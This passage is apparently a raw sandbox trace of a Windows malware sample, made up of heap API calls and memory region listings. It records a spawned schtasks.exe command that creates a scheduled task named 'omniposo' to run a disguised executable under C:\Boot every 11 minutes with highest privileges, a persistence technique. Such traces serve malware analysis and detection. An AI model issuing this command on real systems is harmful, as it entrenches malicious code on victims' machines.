returned 0x20 [0091.275] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365a50 | out: hHeap=0x350000) returned 1 [0091.275] GetProcessHeap () returned 0x350000 [0091.275] GetProcessHeap () returned 0x350000 [0091.276] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365a80) returned 1 [0091.276] GetProcessHeap () returned 0x350000 [0091.276] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365a80) returned 0x20 [0091.276] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365a80 | out: hHeap=0x350000) returned 1 [0091.276] GetProcessHeap () returned 0x350000 [0091.276] GetProcessHeap () returned 0x350000 [0091.276] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cc80) returned 1 [0091.276] GetProcessHeap () returned 0x350000 [0091.276] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cc80) returned 0x20 [0091.276] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cc80 | out: hHeap=0x350000) returned 1 [0091.276] GetProcessHeap () returned 0x350000 [0091.276] GetProcessHeap () returned 0x350000 [0091.277] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d760) returned 1 [0091.277] GetProcessHeap () returned 0x350000 [0091.277] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d760) returned 0xc [0091.277] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d760 | out: hHeap=0x350000) returned 1 [0091.277] GetProcessHeap () returned 0x350000 [0091.277] GetProcessHeap () returned 0x350000 [0091.277] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ccb0) returned 1 [0091.277] GetProcessHeap () returned 0x350000 [0091.277] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ccb0) returned 0x20 [0091.278] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ccb0 | out: hHeap=0x350000) returned 1 [0091.278] GetProcessHeap () returned 0x350000 [0091.278] GetProcessHeap () returned 0x350000 [0091.278] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x367b80) returned 1 [0091.278] GetProcessHeap () returned 0x350000 [0091.278] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x367b80) returned 0x30 [0091.279] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x367b80 | out: hHeap=0x350000) returned 1 [0091.279] GetProcessHeap () returned 0x350000 [0091.279] GetProcessHeap () returned 0x350000 [0091.279] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cce0) returned 1 [0091.279] GetProcessHeap () returned 0x350000 [0091.279] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cce0) returned 0x20 [0091.280] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cce0 | out: hHeap=0x350000) returned 1 [0091.280] GetProcessHeap () returned 0x350000 [0091.280] GetProcessHeap () returned 0x350000 [0091.280] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x367bc0) returned 1 [0091.280] GetProcessHeap () returned 0x350000 [0091.280] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x367bc0) returned 0x30 [0091.280] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x367bc0 | out: hHeap=0x350000) returned 1 [0091.281] GetProcessHeap () returned 0x350000 [0091.281] GetProcessHeap () returned 0x350000 [0091.281] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce60) returned 1 [0091.281] GetProcessHeap () returned 0x350000 [0091.281] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ce60) returned 0x20 [0091.281] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce60 | out: hHeap=0x350000) returned 1 [0091.281] GetProcessHeap () returned 0x350000 [0091.281] GetProcessHeap () returned 0x350000 [0091.281] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d680) returned 1 [0091.282] GetProcessHeap () returned 0x350000 [0091.282] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d680) returned 0x16 [0091.282] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d680 | out: hHeap=0x350000) returned 1 [0091.282] GetProcessHeap () returned 0x350000 [0091.282] GetProcessHeap () returned 0x350000 [0091.282] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce30) returned 1 [0091.282] GetProcessHeap () returned 0x350000 [0091.282] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ce30) returned 0x20 [0091.283] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce30 | out: hHeap=0x350000) returned 1 [0091.283] GetProcessHeap () returned 0x350000 [0091.283] GetProcessHeap () returned 0x350000 [0091.283] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d6a0) returned 1 [0091.283] GetProcessHeap () returned 0x350000 [0091.283] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d6a0) returned 0x16 [0091.283] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d6a0 | out: hHeap=0x350000) returned 1 [0091.283] GetProcessHeap () returned 0x350000 [0091.283] GetProcessHeap () returned 0x350000 [0091.283] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce00) returned 1 [0091.283] GetProcessHeap () returned 0x350000 [0091.283] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ce00) returned 0x20 [0091.284] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce00 | out: hHeap=0x350000) returned 1 [0091.284] GetProcessHeap () returned 0x350000 [0091.284] GetProcessHeap () returned 0x350000 [0091.284] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x389a10) returned 1 [0091.284] GetProcessHeap () returned 0x350000 [0091.284] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x389a10) returned 0x82 [0091.284] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x389a10 | out: hHeap=0x350000) returned 1 [0091.284] GetProcessHeap () returned 0x350000 [0091.285] GetProcessHeap () returned 0x350000 [0091.285] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cdd0) returned 1 [0091.285] GetProcessHeap () returned 0x350000 [0091.285] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cdd0) returned 0x20 [0091.285] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cdd0 | out: hHeap=0x350000) returned 1 [0091.285] GetProcessHeap () returned 0x350000 [0091.285] GetProcessHeap () returned 0x350000 [0091.285] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d6e0) returned 1 [0091.285] GetProcessHeap () returned 0x350000 [0091.285] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d6e0) returned 0xe [0091.285] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d6e0 | out: hHeap=0x350000) returned 1 [0091.285] GetProcessHeap () returned 0x350000 [0091.285] GetProcessHeap () returned 0x350000 [0091.285] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cda0) returned 1 [0091.285] GetProcessHeap () returned 0x350000 [0091.285] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cda0) returned 0x20 [0091.286] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cda0 | out: hHeap=0x350000) returned 1 [0091.286] GetProcessHeap () returned 0x350000 [0091.286] GetProcessHeap () returned 0x350000 [0091.286] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d700) returned 1 [0091.286] GetProcessHeap () returned 0x350000 [0091.286] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d700) returned 0xc [0091.286] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d700 | out: hHeap=0x350000) returned 1 [0091.286] GetProcessHeap () returned 0x350000 [0091.286] GetProcessHeap () returned 0x350000 [0091.286] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cd70) returned 1 [0091.286] GetProcessHeap () returned 0x350000 [0091.286] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cd70) returned 0x20 [0091.287] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cd70 | out: hHeap=0x350000) returned 1 [0091.287] GetProcessHeap () returned 0x350000 [0091.287] GetProcessHeap () returned 0x350000 [0091.287] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d720) returned 1 [0091.287] GetProcessHeap () returned 0x350000 [0091.287] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d720) returned 0xe [0091.287] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d720 | out: hHeap=0x350000) returned 1 [0091.287] GetProcessHeap () returned 0x350000 [0091.287] GetProcessHeap () returned 0x350000 [0091.287] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cd40) returned 1 [0091.287] GetProcessHeap () returned 0x350000 [0091.287] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cd40) returned 0x20 [0091.287] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cd40 | out: hHeap=0x350000) returned 1 [0091.287] GetProcessHeap () returned 0x350000 [0091.287] GetProcessHeap () returned 0x350000 [0091.287] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d740) returned 1 [0091.287] GetProcessHeap () returned 0x350000 [0091.287] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d740) returned 0x10 [0091.288] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d740 | out: hHeap=0x350000) returned 1 [0091.288] GetProcessHeap () returned 0x350000 [0091.288] GetProcessHeap () returned 0x350000 [0091.288] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cd10) returned 1 [0091.288] GetProcessHeap () returned 0x350000 [0091.288] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cd10) returned 0x20 [0091.288] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cd10 | out: hHeap=0x350000) returned 1 [0091.288] GetProcessHeap () returned 0x350000 [0091.288] GetProcessHeap () returned 0x350000 [0091.288] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36bb10) returned 1 [0091.288] GetProcessHeap () returned 0x350000 [0091.288] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36bb10) returned 0x18 [0091.288] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36bb10 | out: hHeap=0x350000) returned 1 [0091.288] GetProcessHeap () returned 0x350000 [0091.288] GetProcessHeap () returned 0x350000 [0091.288] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365ab0) returned 1 [0091.288] GetProcessHeap () returned 0x350000 [0091.288] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365ab0) returned 0x20 [0091.289] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365ab0 | out: hHeap=0x350000) returned 1 [0091.289] GetProcessHeap () returned 0x350000 [0091.289] GetProcessHeap () returned 0x350000 [0091.289] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365ae0) returned 1 [0091.289] GetProcessHeap () returned 0x350000 [0091.289] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365ae0) returned 0x20 [0091.289] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365ae0 | out: hHeap=0x350000) returned 1 [0091.289] GetProcessHeap () returned 0x350000 [0091.289] GetProcessHeap () returned 0x350000 [0091.289] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365b10) returned 1 [0091.289] GetProcessHeap () returned 0x350000 [0091.289] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365b10) returned 0x20 [0091.290] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365b10 | out: hHeap=0x350000) returned 1 [0091.290] GetProcessHeap () returned 0x350000 [0091.290] GetProcessHeap () returned 0x350000 [0091.290] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365b40) returned 1 [0091.290] GetProcessHeap () returned 0x350000 [0091.290] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365b40) returned 0x20 [0091.290] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365b40 | out: hHeap=0x350000) returned 1 [0091.290] GetProcessHeap () returned 0x350000 [0091.290] GetProcessHeap () returned 0x350000 [0091.290] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36bb30) returned 1 [0091.290] GetProcessHeap () returned 0x350000 [0091.291] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36bb30) returned 0x18 [0091.291] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36bb30 | out: hHeap=0x350000) returned 1 [0091.291] GetProcessHeap () returned 0x350000 [0091.291] GetProcessHeap () returned 0x350000 [0091.291] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365b70) returned 1 [0091.291] GetProcessHeap () returned 0x350000 [0091.291] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365b70) returned 0x20 [0091.291] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365b70 | out: hHeap=0x350000) returned 1 [0091.291] GetProcessHeap () returned 0x350000 [0091.291] GetProcessHeap () returned 0x350000 [0091.291] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365c00) returned 1 [0091.291] GetProcessHeap () returned 0x350000 [0091.291] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365c00) returned 0x20 [0091.292] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365c00 | out: hHeap=0x350000) returned 1 [0091.292] GetProcessHeap () returned 0x350000 [0091.292] GetProcessHeap () returned 0x350000 [0091.292] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365c60) returned 1 [0091.292] GetProcessHeap () returned 0x350000 [0091.292] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365c60) returned 0x20 [0091.293] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365c60 | out: hHeap=0x350000) returned 1 [0091.293] GetProcessHeap () returned 0x350000 [0091.293] GetProcessHeap () returned 0x350000 [0091.293] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365cc0) returned 1 [0091.293] GetProcessHeap () returned 0x350000 [0091.293] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365cc0) returned 0x20 [0091.293] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365cc0 | out: hHeap=0x350000) returned 1 [0091.293] GetProcessHeap () returned 0x350000 [0091.293] GetProcessHeap () returned 0x350000 [0091.293] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365cf0) returned 1 [0091.293] GetProcessHeap () returned 0x350000 [0091.293] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365cf0) returned 0x20 [0091.294] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365cf0 | out: hHeap=0x350000) returned 1 [0091.294] GetProcessHeap () returned 0x350000 [0091.294] GetProcessHeap () returned 0x350000 [0091.294] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36bb50) returned 1 [0091.294] GetProcessHeap () returned 0x350000 [0091.294] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36bb50) returned 0x18 [0091.294] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36bb50 | out: hHeap=0x350000) returned 1 [0091.294] GetProcessHeap () returned 0x350000 [0091.294] GetProcessHeap () returned 0x350000 [0091.294] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365c30) returned 1 [0091.294] GetProcessHeap () returned 0x350000 [0091.294] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365c30) returned 0x20 [0091.295] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365c30 | out: hHeap=0x350000) returned 1 [0091.295] GetProcessHeap () returned 0x350000 [0091.295] GetProcessHeap () returned 0x350000 [0091.295] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36bad0) returned 1 [0091.295] GetProcessHeap () returned 0x350000 [0091.295] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36bad0) returned 0x18 [0091.295] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36bad0 | out: hHeap=0x350000) returned 1 [0091.295] exit (_Code=0) Thread: id = 213 os_tid = 0x970 Process: id = "66" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3c5dd000" os_pid = "0x974" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 11 /tr \"'C:\\Boot\\zh-CN\\omnipos.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4913 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4914 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4915 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4916 start_va = 0x80000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 4917 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4918 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4919 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4920 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4921 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4922 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4923 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4924 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 4953 start_va = 0x100000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 4954 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4955 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4961 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4962 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4963 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4964 start_va = 0x100000 end_va = 0x166fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4965 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 4966 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4967 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4968 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4969 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4970 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4971 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4972 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4973 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4974 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4975 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4976 start_va = 0x3d0000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 4977 start_va = 0x170000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4978 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4979 start_va = 0x550000 end_va = 0x6d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 4980 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4981 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4982 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4983 start_va = 0x6e0000 end_va = 0x860fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 4984 start_va = 0x870000 end_va = 0x1c6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 4990 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4991 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4992 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 4993 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4994 start_va = 0x1c70000 end_va = 0x1f3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4995 start_va = 0x3d0000 end_va = 0x44cfff monitored = 0 entry_point = 0x3dcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4996 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 4997 start_va = 0x3d0000 end_va = 0x44cfff monitored = 0 entry_point = 0x3dcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4998 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4999 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 5000 start_va = 0x3d0000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 5001 start_va = 0x3d0000 end_va = 0x4aefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 5002 start_va = 0x4c0000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5003 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5004 start_va = 0x2050000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 5005 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 5006 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = 